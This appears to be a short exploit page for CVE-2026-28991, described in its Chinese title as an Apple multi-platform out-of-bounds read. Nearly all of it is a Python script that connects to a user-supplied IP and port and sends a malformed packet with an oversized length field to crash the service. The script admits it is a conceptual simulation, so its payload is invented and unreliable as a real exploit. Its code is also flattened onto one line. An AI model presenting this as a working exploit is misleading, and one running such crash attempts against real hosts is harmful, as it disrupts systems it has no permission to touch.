CVE-2026-28991 Apple多平台越界读取漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-28991 (Conceptual) This script demonstrates a potential trigger for an Out-of-Bounds Read vulnerability. Note: This is a simulation based on the vulnerability description as specific technical details are reserved. """ import socket import sys def send_exploit_payload(target_ip, target_port): """ Attempts to trigger the OOB read by sending a malformed packet. """ try: # Establish connection to the vulnerable service print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct a payload that violates bounds checking # Header + Malformed Length Field causing OOB read magic_header = b"\x41\x41\x41\x41" # Length exceeds the expected buffer size (e.g., 0xFFFFFFFF) malformed_length = b"\xFF\xFF\xFF\xFF" padding = b"\x00" * 16 payload = magic_header + malformed_length + padding print(f"[*] Sending payload length: {len(payload)}") s.send(payload) # Wait for response or crash response = s.recv(1024) print("[+] Received response (service might still be running):") print(response) except ConnectionResetError: print("[!] Connection reset by peer. Possible crash detected.") except socket.timeout: print("[!] Connection timed out. Possible service hang detected.") except Exception as e: print(f"[!] Error: {e}") finally: s.close() if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 poc.py <target_ip> <target_port>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) send_exploit_payload(TARGET_IP, TARGET_PORT)